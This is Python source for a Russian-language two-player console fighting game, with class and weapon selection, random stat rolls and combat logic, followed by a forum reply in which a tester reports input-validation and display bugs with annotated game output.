    print ("","",i_2*115,"\n",i,"\x1b[31mНАЖМИТЕ 15\x1b[0m",i,"МИН.ур 89  ","",i,"МАК.ур  89  ",i,"ТОЧ  75% ",i,"КРТ  20% ","",i,"КА  40% ",i)
    print ("","",i_2*115,"\n",i,"\x1b[31mНАЖМИТЕ 16\x1b[0m",i,"МИН.ур 76  ","",i,"МАК.ур 157  ",i,"ТОЧ  55% ",i,"КРТ  20% ","",i,"КА  40% ",i)
    print ("","",i_2*115,"\n",i,"\x1b[31mНАЖМИТЕ 17\x1b[0m",i,"МИН.ур 13  ","",i,"МАК.ур 238  ",i,"ТОЧ  55% ",i,"КРТ  20% ","",i,"КА  40% ",i)
    print ("","",i_2*115,"\n",i,"\x1b[31mНАЖМИТЕ 18\x1b[0m",i,"МИН.ур 121 ","",i,"МАК.ур 121  ",i,"ТОЧ  55% ",i,"КРТ  20% ","",i,"КА  40% ",i,"\n","","",i_2*115)
    print("\n","Выберете ","\x1b[31mОРУЖИЕ\x1b[0m")
    while True:
        try:
            info(player)
            Pl_input_class_game = int(input("1 - 18 :"))
            if Pl_input_class_game<1:
                print ("ведите значение от 1 до 18")
            elif Pl_input_class_game>18:
                print ("ведите значение от 1 до 18")
            elif Pl_input_class_game == 1:
                player[2][0]=player[2][0]+50
                player[2][1]=player[2][1]+100
                player[2][2]=player[2][2]+95
                player[2][3]=player[2][3]+10
                player[5][1]=player[5][1]+20
                break
            elif Pl_input_class_game == 2:
                player[2][0]=player[2][0]+1
                player[2][1]=player[2][1]+150
                player[2][2]=player[2][2]+95
                player[2][3]=player[2][3]+10
                player[5][1]=player[5][1]+20
                break
            elif Pl_input_class_game == 3:
                player[2][0]=player[2][0]+75
                player[2][1]=player[2][1]+75
                player[2][2]=player[2][2]+95
                player[2][3]=player[2][3]+10
                player[5][1]=player[5][1]+20
                break
            elif Pl_input_class_game == 4:
                player[2][0]=player[2][0]+70
                player[2][1]=player[2][1]+140
                player[2][2]=player[2][2]+75
                player[2][3]=player[2][3]+10
                player[5][1]=player[5][1]+20
                break
            elif Pl_input_class_game == 5:
                player[2][0]=player[2][0]+10
                player[2][1]=player[2][1]+210
                player[2][2]=player[2][2]+75
                player[2][3]=player[2][3]+10
                player[5][1]=player[5][1]+20
                break
            elif Pl_input_class_game == 6:
                player[2][0]=player[2][0]+105
                player[2][1]=player[2][1]+105
                player[2][2]=player[2][2]+75
                player[2][3]=player[2][3]+10
                player[5][1]=player[5][1]+20
                break
            elif Pl_input_class_game == 7:
                player[2][0]=player[2][0]+90
                player[2][1]=player[2][1]+180
                player[2][2]=player[2][2]+55
                player[2][3]=player[2][3]+10
                player[5][1]=player[5][1]+20
                break
            elif Pl_input_class_game == 8:
                player[2][0]=player[2][0]+20
                player[2][1]=player[2][1]+270
                player[2][2]=player[2][2]+55
                player[2][3]=player[2][3]+10
                player[5][1]=player[5][1]+20
                break
            elif Pl_input_class_game == 9:
                player[2][0]=player[2][0]+135
                player[2][1]=player[2][1]+135
                player[2][2]=player[2][2]+55
                player[2][3]=player[2][3]+10
                player[5][1]=player[5][1]+20
                break
            elif Pl_input_class_game == 10:
                player[2][0]=player[2][0]+40
                player[2][1]=player[2][1]+85
                player[2][2]=player[2][2]+95
                player[2][3]=player[2][3]+20
                player[5][1]=player[5][1]+40
                break
            elif Pl_input_class_game == 11:
                player[2][0]=player[2][0]+1
                player[2][1]=player[2][1]+130
                player[2][2]=player[2][2]+95
                player[2][3]=player[2][3]+20
                player[5][1]=player[5][1]+40
                break
            elif Pl_input_class_game == 12:
                player[2][0]=player[2][0]+62
                player[2][1]=player[2][1]+62
                player[2][2]=player[2][2]+95
                player[2][3]=player[2][3]+20
                player[5][1]=player[5][1]+40
                break
            elif Pl_input_class_game == 13:
                player[2][0]=player[2][0]+58
                player[2][1]=player[2][1]+121
                player[2][2]=player[2][2]+75
                player[2][3]=player[2][3]+20
                player[5][1]=player[5][1]+40
                break
            elif Pl_input_class_game == 14:
                player[2][0]=player[2][0]+4
                player[2][1]=player[2][1]+184
                player[2][2]=player[2][2]+75
                player[2][3]=player[2][3]+20
                player[5][1]=player[5][1]+40
                break
            elif Pl_input_class_game == 15:
                player[2][0]=player[2][0]+89
                player[2][1]=player[2][1]+89
                player[2][2]=player[2][2]+75
                player[2][3]=player[2][3]+20
                player[5][1]=player[5][1]+40
                break
            elif Pl_input_class_game == 16:
                player[2][0]=player[2][0]+76
                player[2][1]=player[2][1]+157
                player[2][2]=player[2][2]+55
                player[2][3]=player[2][3]+20
                player[5][1]=player[5][1]+40
                break
            elif Pl_input_class_game == 1:
                player[2][0]=player[2][0]+13
                player[2][1]=player[2][1]+238
                player[2][2]=player[2][2]+55
                player[2][3]=player[2][3]+20
                player[5][1]=player[5][1]+40
                break
            elif Pl_input_class_game == 1:
                player[2][0]=player[2][0]+121
                player[2][1]=player[2][1]+121
                player[2][2]=player[2][2]+55
                player[2][3]=player[2][3]+20
                player[5][1]=player[5][1]+40
                break
        except ValueError:
            print("введите значение от 1 до 18")
def random_point(player):
    x=3
    info(player)
    while x>0:
        if player==player_1:
            print("\x1b[96m", player_1[0], "\x1b[0m","прокрутите рандомные доп.характеристики")
            print("\x1b[96m", player_1[0], "\x1b[0m","у вас осталось","\x1b[92m", x, "\x1b[0m","попытка(и)")
        if player==player_2:
            print("\x1b[93m", player_2[0], "\x1b[0m","прокрутите рандомные доп.характеристики")
            print("\x1b[93m", player_2[0], "\x1b[0m","у вас осталось","\x1b[92m", x, "\x1b[0m","попытка(и)")
        input("нажмите Enter")
        rand_AT[0]=random.randint(1, 5)
        rand_AT[1]=random.randint(5, 10)
        rand_LIFE=random.randint(10, 100)
        rand_AT[2]=random.randint(1, 10)
        rand_AT[3]=random.randint(0, 10)
        rand_AT[4]=(random.randint(0, 10)/10)
        rand_AGI[0]=random.randint(0, 10)
        rand_AGI[1]=random.randint(0, 10)
        rand_AGI[2]=(random.randint(0, 10)/10)
        rand_DEF[0]=random.randint(0, 10)
        rand_Energy[0]=random.randint(0, 10)
        rand_Energy[2]=rand_Energy[0]
        rand_Energy[1]=random.randint(0, 1)
        if player==player_1:
            print ("","",i_2*115,"\n",i,"\x1b[96m", player[0], "\x1b[0m",i,'ЖС'"\x1b[92m", rand_LIFE, "\x1b[0m","",i,"АТ",rand_AT[0],'-',rand_AT[1],i,"т",
            rand_AT[2],'%',i,"КР",rand_AT[3],"%(к.",rand_AT[4],")",i,"ЗЩ",rand_DEF[0],"",i,"УК",rand_AGI[0],"%",i,"КА",rand_AGI[1],"%(к.",rand_AGI[2],")",i,"ϟ ",rand_Energy[0],"/",rand_Energy[2],"+",rand_Energy[1],"/х",i,"\n",i_2*115)
        if player==player_2:
            print ("","",i_2*115,"\n",i,"\x1b[93m", player[0], "\x1b[0m",i,'ЖС'"\x1b[92m", rand_LIFE, "\x1b[0m","",i,"АТ",rand_AT[0],'-',rand_AT[1],i,"т",
            rand_AT[2],'%',i,"КР",rand_AT[3],"%(к.",rand_AT[4],")",i,"ЗЩ",rand_DEF[0],"",i,"УК",rand_AGI[0],"%",i,"КА",rand_AGI[1],"%(к.",rand_AGI[2],")",i,"ϟ ",rand_Energy[0],"/",rand_Energy[2],"+",rand_Energy[1],"/х",i,"\n",i_2*115)
        try:
            Pl_input_random = int(input("1 - оставляем 2 - крутим дальше : "))
            if Pl_input_random > 2:
                print (" введите значение от 1 до 2: ")
            elif Pl_input_random < 1:
                print (" введите значение от 1 до 2: ")
        except ValueError:
            print(" введите целое числовое значение")
        if Pl_input_random ==1:
            player[2][0]=player[2][0]+rand_AT[0]
            player[2][1]=player[2][1]+rand_AT[1]
            player[6]=player[6]+rand_LIFE
            player[2][2]=player[2][2]+rand_AT[2]
            player[2][3]=player[2][3]+rand_AT[3]
            player[2][4]=player[2][4]+rand_AT[4]
            player[5][0]=player[5][0]+rand_AGI[0]
            player[5][1]=player[5][1]+rand_AGI[1]
            player[5][2]=player[5][2]+rand_AGI[2]
            player[4][0]=player[4][0]+rand_DEF[0]
            player[7][0]=rand_Energy[0]+player[7][0]
            player[7][2]=rand_Energy[2]+player[7][2]
            player[7][1]=rand_Energy[1]+player[7][1]
            break
        else:
            x=x-1
    if x==0:
        player[2][0]=player[2][0]+rand_AT[0]
        player[2][1]=player[2][1]+rand_AT[1]
        player[6]=player[6]+rand_LIFE
        player[2][2]=player[2][2]+rand_AT[2]
        player[2][3]=player[2][3]+rand_AT[3]
        player[2][4]=player[2][4]+rand_AT[4]
        player[5][0]=player[5][0]+rand_AGI[0]
        player[5][1]=player[5][1]+rand_AGI[1]
        player[5][2]=player[5][2]+rand_AGI[2]
        player[4][0]=player[4][0]+rand_DEF[0]
        player[7][0]=rand_Energy[0]+player[7][0]
        player[7][2]=rand_Energy[2]+player[7][2]
        player[7][1]=rand_Energy[1]+player[7][1]
    info(player)
def class_game (player):
    print ("","",i_2*115,"\n",i,"\x1b[33mНАЖМИТЕ 1\x1b[0m",i," Берсерк","",i,"АТ  +50",i,"ЗАЩ    +20",i,"ЖС 1300","",i,"УКЛ  40%",i,"ЭНЕРГИЯ 100%+10/ход   ",i)
    print ("","",i_2*115,"\n",i,"\x1b[33mНАЖМИТЕ 2\x1b[0m",i,"  Рыцарь ","",i,"АТ  +30",i,"ЗАЩ    +50",i,"ЖС 1400","",i,"УКЛ  10%",i,"ЭНЕРГИЯ 120%+12/ход   ",i)
    print ("","",i_2*115,"\n",i,"\x1b[33mНАЖМИТЕ 3\x1b[0m",i,"  Мечник ","",i,"АТ  +40",i,"ЗАЩ    +10",i,"ЖС 1500","",i,"УКЛ  20%",i,"ЭНЕРГИЯ 130%+13/ход   ",i)
    print ("","",i_2*115,"\n",i,"\x1b[33mНАЖМИТЕ 4\x1b[0m",i," Ассасин","",i,"АТ  +20",i,"ЗАЩ    +30",i,"ЖС 1100","",i,"УКЛ  50%",i,"ЭНЕРГИЯ 140%+14/ход   ",i)
    print ("","",i_2*115,"\n",i,"\x1b[33mНАЖМИТЕ 5\x1b[0m",i,"  Ученый ","",i,"АТ  +10",i,"ЗАЩ    +40",i,"ЖС 1200","",i,"УКЛ  30%",i,"ЭНЕРГИЯ 150%+15/ход   ",i)
    print ("","",i_2*115,"\n",i,"\x1b[33mНАЖМИТЕ 6\x1b[0m",i,"  ГБХмен ","",i,"АТ  +10",i,"ЗАЩ    +10",i,"ЖС 1100","",i,"УКЛ  10%",i,"ЭНЕРГИЯ 100%+10/ход   ",i,"\n","",i_2*115)
    print("\n","Выберете класс за который хотите играть")
    while True:
        try:
            Pl_input_class_game = int(input("1 - 6 :"))
            if Pl_input_class_game<1:
                print ("ведите значение от 1 до 6")
            elif Pl_input_class_game>6:
                print ("ведите значение от 1 до 6")
            elif Pl_input_class_game == 1:
                player[2][0]=50
                player[2][1]=50
                player[4][0]=20
                player[6]=1300
                player[5][0]=40
                player[7][0]=100
                player[7][1]=10
                player[7][2]=100
                break
            elif Pl_input_class_game == 2:
                player[2][0]=30
                player[2][1]=30
                player[4][0]=50
                player[6]=1400
                player[5][0]=10
                player[7][0]=120
                player[7][1]=12
                player[7][2]=120
                break
            elif Pl_input_class_game == 3:
                player[2][0]=40
                player[2][1]=40
                player[4][0]=10
                player[6]=1500
                player[5][0]=20
                player[7][0]=130
                player[7][1]=13
                player[7][2]=130
                break
            elif Pl_input_class_game == 4:
                player[2][0]=20
                player[2][1]=20
                player[4][0]=30
                player[6]=1100
                player[5][0]=50
                player[7][0]=140
                player[7][1]=14
                player[7][2]=140
                break
            elif Pl_input_class_game == 5:
                player[2][0]=10
                player[2][1]=10
                player[4][0]=40
                player[6]=1200
                player[5][0]=30
                player[7][0]=150
                player[7][1]=15
                player[7][2]=150
                break
            elif Pl_input_class_game == 6:
                player[2][0]=10
                player[2][1]=10
                player[4][0]=10
                player[6]=1100
                player[5][0]=10
                player[7][0]=110
                player[7][1]=11
                player[7][2]=110
                break
        except ValueError:
            print("введите значение от 1 до 6")

def info(player):
    print("ваши характеристики:")
    if player==player_1:
        print ("","",i_2*115,"\n",i,"\x1b[96m", player[0], "\x1b[0m",i,'Жс'"\x1b[92m", player[6], "\x1b[0m","",i,"ат",player[2][0],'-',player[2][1],i,"т",
        player[2][2],'%',i,"кр",player[2][3],"%(*",player[2][4],")",i,"зщ",player[4][0],"",i,"ук",player[5][0],"%",i,"ка",player[5][1],"%(*",player[5][2],")",i,"ϟ ",player[7][0],"/",player[7][2],"+",player[7][1],"/х",i,"\n",i_2*115)
    if player==player_2:
        print ("","",i_2*115,"\n",i,"\x1b[93m", player[0], "\x1b[0m",i,'Жс'"\x1b[92m", player[6], "\x1b[0m","",i,"ат",player[2][0],'-',player[2][1],i,"т",
        player[2][2],'%',i,"кр",player[2][3],"%(*",player[2][4],")",i,"зщ",player[4][0],"",i,"ук",player[5][0],"%",i,"ка",player[5][1],"%(*",player[5][2],")",i,"ϟ ",player[7][0],"/",player[7][2],"+",player[7][1],"/х",i,"\n",i_2*115)

def Player_input_name(): # Проверка на корректность вводимого значения
       for player in warrior:
            while True:
                if player==player_1:
                    print("введите имя","\x1b[96mпервого игрока\x1b[0m")
                elif player==player_2:
                    print("введите имя","\x1b[93mвторого игрока\x1b[0m")
                player[0]=str(input(" вы ввели : "))
                if len(player[0]) > 5:
                    print ("введите имя от 2 до 5 символов. ")
                elif len(player[0]) < 2:
                    print ("введите имя от 2 до 5 символов. ")
                else:
                    if player==player_1:
                        print("ваше имя ","\x1b[96m", player[0], "\x1b[0m","?")
                    else:
                        print("ваше имя ","\x1b[93m", player[0], "\x1b[0m","?")
                    try:
                        Pl_input = int(input("1 - да 2 - нет: "))
                        if Pl_input > 3:
                            print ("введите только 1 - да или 2 - нет: ")
                        elif Pl_input < 1:
                            print ("введите только 1 - да или 2 - нет: ")
                        else:
                            break
                    except ValueError:
                        print ("введите только 1 - да или 2 - нет: ")
def color_life_player_1(): # - цветная таблица
    for pl in warrior:
        if pl[6]>((pl[8])/1.5):
            print ("","",i_2*115,"\n",i,pl[0],i,'Жс'"\x1b[92m", pl[6], "\x1b[0m","",i,"ат",pl[2][0],'-',pl[2][1],i,"т",
            pl[2][2],'%',i,"кр",pl[2][3],"%",i,"зщ",pl[4][0],"",i,"ук",pl[5][0],"%",i,"ка",pl[5][0],"%",i,"ϟ ",pl[7][0],"/",pl[7][2],"+",pl[7][1],"/х",i)
        elif pl[6]>((pl[8])/3):
            print ("","",i_2*115,"\n",i,pl[0],i,'Жс'"\x1b[33m", pl[6], "\x1b[0m","",i,"ат",pl[2][0],'-',pl[2][1],i,"т",
            pl[2][2],'%',i,"кр",pl[2][3],"%",i,"зщ",pl[4][0],"",i,"ук",pl[5][0],"%",i,"ка",pl[5][0],"%",i,"ϟ ",pl[7][0],"/",pl[7][2],"+",pl[7][1],"/х",i)
        else:
            print ("","",i_2*115,"\n",i,pl[0],i,'Жс'"\x1b[31m", pl[6], "\x1b[0m","",i,"ат",pl[2][0],'-',pl[2][1],i,"т",
            pl[2][2],'%',i,"кр",pl[2][3],"%",i,"зщ",pl[4][0],"",i,"ук",pl[5][0],"%",i,"ка",pl[5][0],"%",i,"ϟ ",pl[7][0],"/",pl[7][2],"+",pl[7][1],"/х",i)
def test():
    if player==player_1:
        print(" \x1b[96m", player_1[0], "\x1b[0m"," (точ =",player_1[2][2],"%) промахнулся и не смог попасть по \x1b[93m", player_2[0], "\x1b[0m")
    else:
        print(" \x1b[93m", player_2[0], "\x1b[0m"," (точ =",player_2[2][2],"%) промахнулся и не смог попасть по \x1b[96m", player_1[0], "\x1b[0m")
def test_2(ran_2): # цвет на урон
    if player==player_1:
        print(" (точ =",player_1[2][2],"%)\x1b[96m", player_1[0], "\x1b[0m","ударил на\x1b[31m", ran_2, "\x1b[0mединиц(ы) урона по \x1b[93m", player_2[0], "\x1b[0m")
    else:
        print(" (точ =",player_2[2][2],"%)\x1b[93m", player_2[0], "\x1b[0m","ударил на\x1b[31m", ran_2, "\x1b[0mединиц(ы) урона по \x1b[96m", player_1[0], "\x1b[0m")
def test_3(at_noDEF,at): # цвет на броню
    if player==player_1:
        print(" благодаря броне\x1b[93m", player_2[0], "\x1b[0mурон уменьшен до\x1b[31m", at_noDEF, "\x1b[0m-(броня =\x1b[34m", player_2[4][0],
        "\x1b[0m",") =","\x1b[31m", at, "\x1b[0mединиц(ы)")
    else:
        print(" благодаря броне\x1b[96m", player_1[0], "\x1b[0mурон уменьшен до\x1b[31m", at_noDEF, "\x1b[0m-(броня =\x1b[34m", player_1[4][0],
        "\x1b[0m",") =","\x1b[31m", at, "\x1b[0mединиц(ы)")
def test_4(): # ????
    if player==player_1:
        print(" (укл =",player_inoy[5][0],"%)\x1b[93m", player_2[0], "\x1b[0m"," не смог увернутся")
    else:
        print(" (укл =",player_inoy[5][0],"%)\x1b[96m", player_1[0], "\x1b[0m"," не смог увернутся")
def test_5(): # Промах цвет
    if player==player_1:
        print(" \x1b[93m", player_2[0], "\x1b[0m"," (точ =",player_2[2][2],"%) промахнулся и не смог попасть по \x1b[93m", player_1[0], "\x1b[0m")
    else:
        print(" \x1b[96m", player_1[0], "\x1b[0m"," (точ =",player_1[2][2],"%) промахнулся и не смог попасть по \x1b[96m", player_2[0], "\x1b[0m")
def ataka(player,player_inoy,at): # функция просчитывает поведение атаки
    ran_1 = random.randint(0, 100) # рандомное число от 0 до 100
    if ran_1 > player[2][2]:
        test()
        at = 0
        return at # Возвращаем урон = 0
    else:
        ran_2 = random.randint(player[2][0], player[2][1]) # Рассчитываем урон от минимального до максимального
        test_2(ran_2) # Показываем удар
        if agi (player,player_inoy) == True: # Проверка на уклон соперника
            at_noDEF = ran_2 # Если уклон не удался то проходит урон
            ran_3 = random.randint(0, 100)
            if ran_3<=player[2][3]:
                at_noDEF = round(at_noDEF*player[2][4])
                print(" (крт =",player[2][3],"%)\x1b[31mКРИТ!!!\x1b[0m","(\x1b[31m",ran_2,"\x1b[0m*",player[2][4],"коэф =","\x1b[31m",at_noDEF,"\x1b[0m",')')
                at = at_noDEF - player_inoy[4][0]
                test_3(at_noDEF,at)
                return at
            else:
                if player_inoy[4][0]>at_noDEF:
                    at=0
                    test_3(at_noDEF,at)
                    return at
                else:   
                    at = at_noDEF - player_inoy[4][0]
                    test_3(at_noDEF,at)
                    return at
        else:
            at = 0
            return at # Возвращаем урон ra_2
        
def agi (player,player_inoy): # Проверяем смог ли увернутся атакуемый игрок
    ran_1 = random.randint(0, 100) # рандомное число от 0 до 100
    if ran_1 > player_inoy[5][0]: # сама проверка
        test_4() # не фартануло
        return True
    else:
        if player==player_1:
            print(" (укл =",player_2[5][0],"%) но\x1b[93m", player_2[0],"\x1b[0m","смог увернутся") # смог!
        else:
            print(" (укл =",player_1[5][0],"%) но\x1b[96m", player_1[0],"\x1b[0m","смог увернутся")
        agi_at(player,player_inoy)
        return False
def agi_at (player,player_inoy): # Проверка на контроатаку атакующего игрока в случае успеха
    ran_1 = random.randint(0, 100) # рандомное число от 0 до 100
    if ran_1 <= player_inoy[5][1]: # сама проверка
        ran_2 = round((random.randint(player_inoy[2][0], player_inoy[2][1]))*player_inoy[5][2]) # контраатака помноженная на коэфицент
        at_contr = ran_2
        ran_3 = random.randint(0, 100)
        if ran_3 > player_inoy[2][2]:
            if player==player_1:
                print(" (точ =",player_2[2][2],"%) и даже контратаковал","\x1b[96m", player_1[0],"\x1b[0m","но промахнулся")
            else:
                print(" (точ =",player_1[2][2],"%) и даже контратаковал","\x1b[93m", player_2[0],"\x1b[0m","но промахнулся")
        else:
            if player==player_1:
                print(" и удачно контратаковал\x1b[96m", player_1[0],"\x1b'\x1b[0mна\x1b'\x1b[31m", at_contr, "\x1b[0mединиц(ы) урона.")
            else:
                print(" и удачно контратаковал\x1b[93m", player_2[0],"\x1b'\x1b[31m", at_contr, "\x1b[0mединиц(ы) урона.")
            if player==player_1:
                if player[4][0]>at_contr:
                    at_contr = 0
                    print(" благодаря броне","\x1b[96m", player[0], "\x1b[0m"," урон уменьшен на ","\x1b[31m", ran_2, "\x1b[0m","-(броня =\x1b[34m", player[4][0],
                    "\x1b[0m",") =","\x1b[31m", at_contr, "\x1b[0mединиц(ы)")
                else:
                    at_contr = at_contr - player[4][0]
                    print(" благодаря броне","\x1b[96m", player[0], "\x1b[0m"," урон уменьшен на ","\x1b[31m", ran_2, "\x1b[0m","-(броня =\x1b[34m", player[4][0],
                    "\x1b[0m",") =","\x1b[31m", at_contr, "\x1b[0mединиц(ы)")
                    player[6] = player[6] - at_contr
            else:
                if player[4][0]>at_contr:
                    at_contr = 0
                    print(" благодаря броне","\x1b[93m", player[0], "\x1b[0m"," урон уменьшен на ","\x1b[31m", ran_2, "\x1b[0m","-(броня =\x1b[34m", player[4][0],
                    "\x1b[0m",") =","\x1b[31m", at_contr, "\x1b[0mединиц(ы)")
                else:
                    at_contr = at_contr - player[4][0]
                    print(" благодаря броне","\x1b[93m", player[0], "\x1b[0m"," урон уменьшен на ","\x1b[31m", ran_2, "\x1b[0m","-(броня =\x1b[34m", player[4][0],
                    "\x1b[0m",") =","\x1b[31m", at_contr, "\x1b[0mединиц(ы)")
                    player[6] = player[6] - at_contr
def life (player,player_inoy):
    if player[6] <= 0:
        input("нажмите Enter")
        print("\n"*60)
        print(" "*57,"END")
        print("\n"*4)
        
        if player==player_1:
            print("\x1b[96m", player_1[0], "\x1b[0m","\x1b[31m получил смертельную рану, покойся с миром ....\x1b[0m")
        elif player==player_2:
            print("\x1b[93m", player_2[0], "\x1b[0m","\x1b[31m получил смертельную рану, покойся с миром ....\x1b[0m")
        color_life_player_1()
        print("","",i_2*115)
    if player_inoy[6] <= 0:
        input("нажмите Enter")
        print("\n"*60)
        print(" "*57,"END")
        print("\n"*4)
        if player==player_1:
            print("\x1b[93m", player_2[0], "\x1b[0m","\x1b[31m получил смертельную рану, покойся с миром ....\x1b[0m")
        elif player==player_2:
            print("\x1b[96m", player_1[0], "\x1b[0m","\x1b[31m получил смертельную рану, покойся с миром ....\x1b[0m")
        color_life_player_1()
        print("","",i_2*130)

def Player_input(Pl_input): # Проверка на корректность вводимого значения
   while True:
        try:
            Pl_input = int(input(" Вы ввели : "))
            if Pl_input > 3:
                print (" введите значение от 1 до 3: ")
            elif Pl_input < 1:
                print (" введите значение от 1 до 3: ")
            else:
                return Pl_input
        except ValueError:
            print(" введите целое числовое значение")
def proverka_x(x):
    if player==player_1:
        if x==1:
            player[5][0]=round(player[5][0]/1.3)
            player[5][1]=round(player[5][1]/1.3)
            player[4][0]=round(player[4][0]/1.3)
            x=x-1
            return x
    return x
def proverka_y(y):
    if player==player_2:
        if y==1:
            player[5][0]=round(player[5][0]/1.3)
            player[5][1]=round(player[5][1]/1.3)
            player[4][0]=round(player[4][0]/1.3)
            y=y-1
            return y
    return y
def stroka_2(x,y):
    if x ==1:
        print ("","",i,player[0],i,'Жс', player[6],"",i,"ат",player[2][0],'-',player[2][1],i,"т",
        player[2][2],'%',i,"кр",player[2][3],"%",i,"зщ",player[4][0],"",i,"ук",player[5][0],"%",i,"ка",player[5][1],"%",i,"ϟ ",player[7][0],"/",player[7][2],"+",player[7][1],i,"\n",i_2*130)
        return
    if y ==1:
        print ("","",i,player[0],i,'Жс', player[6],"",i,"ат",player[2][0],'-',player[2][1],i,"т",
        player[2][2],'%',i,"кр",player[2][3],"%",i,"зщ",player[4][0],"",i,"ук",player[5][0],"%",i,"ка",player[5][1],"%",i,"ϟ ",player[7][0],"/",player[7][2],"+",player[7][1],i,"\n",i_2*130)
        return
print("~"*115)
print("*"*50,"\x1b[31mДОБРО ПОЖАЛОВАТЬ!\x1b[0m","*"*50)
print("~"*115)
Player_input_name()
Player_input_class()

while True:
    if player_1[6] <= 0:
        break
    if player_2[6] <= 0:
        break
    for player in warrior:
        x = proverka_x(x)
        y = proverka_y(y)
        stroka_2(x,y)
        player_inoy = warrior[(warrior.index(player))-1]
        if player_inoy[7][0]<player_inoy[7][2]:
            player_inoy[7][0]=player_inoy[7][0]+player_inoy[7][1]
            if player_inoy[7][0]>player_inoy[7][2]:
                player_inoy[7][0]=player_inoy[7][2]
        if player==player_1:
            print(' Игрок ',"\x1b[96m", player_1[0], "\x1b[0m","выберите действие")
        else:
            print(' Игрок ',"\x1b[93m", player_2[0], "\x1b[0m","выберите действие")
        print(" \x1b[31m1 - Атаковать\x1b[0m","   \x1b[34m2 - защищаться (увел. уклон,контр.ат,броню на 30%)\x1b[0m")
        inp = Player_input(Pl_input)
        if inp == 1:
            at = ataka(player,player_inoy,at)
            Damage = player_inoy[6]-at
            player_inoy[6] = Damage
            color_life_player_1()
            life(player,player_inoy)
            if player[6] <= 0:
                break
            print ("","",i_2*115)
            if x or y==1:
                print("\n"," "*45,"\x1b[31mХарактеристики вернулись к базовым значениям!\x1b[0m")
                print("","",i_2*130,"\n",'',i,player_inoy[0],i,'Жс', player_inoy[6],"",i,"ат",player_inoy[2][0],'-',player_inoy[2][1],i,"т",
                player_inoy[2][2],'%',i,"кр",player_inoy[2][3],"%",i,"зщ",round(player_inoy[4][0]/1.3),"",i,"ук",round(player_inoy[5][0]/1.3),"%",i,"ка",round(player_inoy[5][1]/1.3),"%",i,"ϟ ",player_inoy[7][0],"/",player_inoy[7][2],"+",player_inoy[7][1],i,"\n",i_2*130)
        elif inp == 2:
            life(player,player_inoy)
            print("\n"," "*45,"\x1b[92mХарактеристики увеличены!\x1b[0m")
            print ("","",i_2*130,"\n",'',i,player[0],i,'Жс', player[6],"",i,"ат",player[2][0],'-',player[2][1],i,"т",
            player[2][2],'%',i,"кр",player[2][3],"%",i,"зщ",player[4][0],"+\x1b[92m",round(player[4][0]*0.3), "\x1b[0m","",i,"ук",player[5][0],"% +\x1b[92m",round(player[5][0]*0.3), "\x1b[0m",i,"ка",player[5][0],"% +\x1b[92m",round(player[5][1]*0.3), "\x1b[0m",i,"ϟ ",player[7][0],"/",player[7][2],"+",player[7][1],i,"\n",i_2*130)
            player[5][0]=round(player[5][0]*1.3)
            player[5][1]=round(player[5][1]*1.3)
            player[4][0]=round(player[4][0]*1.3)
            if player==player_1:
                x=1
            if player==player_2:
                y=1
        else:
            print(ataka(player,player_inoy,at))
 

wj6zc

Green Team
06.07.2018
17
11
BIT
0
Бегло потестил.
введите имя первого игрока
вы ввели : 123
ваше имя 123 ?
1 - да 2 - нет: 1
введите имя второго игрока
вы ввели : 456

#####
Моё имя не 456 (выбрал "нет"), но глупой железяке на это плевать
#####

ваше имя 456 ?
1 - да 2 - нет: 2
123 вам необходимо настроить своего бойца
456 не должен видеть что вы ему приготовили

123 Вы готовы?
1 - да 2 - незнаю....: 2
подумайте еще немного
1 - да 2 - незнаю....: 1
-------------------------------------------------------------------------------------------------------------------
| НАЖМИТЕ 1 | Берсерк | АТ +50 | ЗАЩ +20 | ЖС 1300 | УКЛ 40% | ЭНЕРГИЯ 100%+10/ход |
-------------------------------------------------------------------------------------------------------------------
| НАЖМИТЕ 2 | Рыцарь | АТ +30 | ЗАЩ +50 | ЖС 1400 | УКЛ 10% | ЭНЕРГИЯ 120%+12/ход |
-------------------------------------------------------------------------------------------------------------------
| НАЖМИТЕ 3 | Мечник | АТ +40 | ЗАЩ +10 | ЖС 1500 | УКЛ 20% | ЭНЕРГИЯ 130%+13/ход |
-------------------------------------------------------------------------------------------------------------------

#####
Очепятка в конце строки. Ну и тот факт, что все строки съехали
#####

| НАЖМИТЕ 4 | Ассасин | АТ +20 | ЗАЩ +30 | ЖС 1100 | УКЛ 50% | ЭНЕРГИЯ 140%+14/ход |[0m
-------------------------------------------------------------------------------------------------------------------
| НАЖМИТЕ 5 | Ученый | АТ +10 | ЗАЩ +40 | ЖС 1200 | УКЛ 30% | ЭНЕРГИЯ 150%+15/ход |
-------------------------------------------------------------------------------------------------------------------
| НАЖМИТЕ 6 | ГБХмен | АТ +10 | ЗАЩ +10 | ЖС 1100 | УКЛ 10% | ЭНЕРГИЯ 100%+10/ход |
-------------------------------------------------------------------------------------------------------------------

Выберете класс за который хотите играть
1 - 6 : 7
ведите значение от 1 до 6
1 - 6 : 4
ваши характеристики:
-------------------------------------------------------------------------------------------------------------------
| 123 | Жс 1100 | ат 20 - 20 | т 0 % | кр 5 %(* 1 ) | зщ 30 | ук 50 % | ка 0 %(* 1 ) | ϟ 140 / 140 + 14 /х |
-------------------------------------------------------------------------------------------------------------------
123 прокрутите рандомные доп.характеристики
123 у вас осталось 3 попытка(и)
нажмите Enter
-------------------------------------------------------------------------------------------------------------------
| 123 | ЖС 46 | АТ 4 - 7 | т 2 % | КР 10 %(к. 0.1 ) | ЗЩ 8 | УК 5 % | КА 4 %(к. 0.4 ) | ϟ 3 / 3 + 0 /х |
-------------------------------------------------------------------------------------------------------------------

#####
Введено значение не из диапазона, но выбора уже нет, надо крутить.
#####

1 - оставляем 2 - крутим дальше : 3
введите значение от 1 до 2:
123 прокрутите рандомные доп.характеристики
123 у вас осталось 2 попытка(и)
нажмите Enter 0
-------------------------------------------------------------------------------------------------------------------
| 123 | ЖС 34 | АТ 4 - 8 | т 9 % | КР 8 %(к. 0.8 ) | ЗЩ 10 | УК 8 % | КА 2 %(к. 0.1 ) | ϟ 2 / 2 + 1 /х |
-------------------------------------------------------------------------------------------------------------------

#####
Такая же фигня, как и в прошлый раз. Ну... крутите барабан
#####

1 - оставляем 2 - крутим дальше : -0
введите значение от 1 до 2:
123 прокрутите рандомные доп.характеристики
123 у вас осталось 1 попытка(и)
нажмите Enter 1
-------------------------------------------------------------------------------------------------------------------
| 123 | ЖС 31 | АТ 1 - 5 | т 6 % | КР 6 %(к. 0.2 ) | ЗЩ 6 | УК 10 % | КА 5 %(к. 0.4 ) | ϟ 7 / 7 + 1 /х |
-------------------------------------------------------------------------------------------------------------------

#####
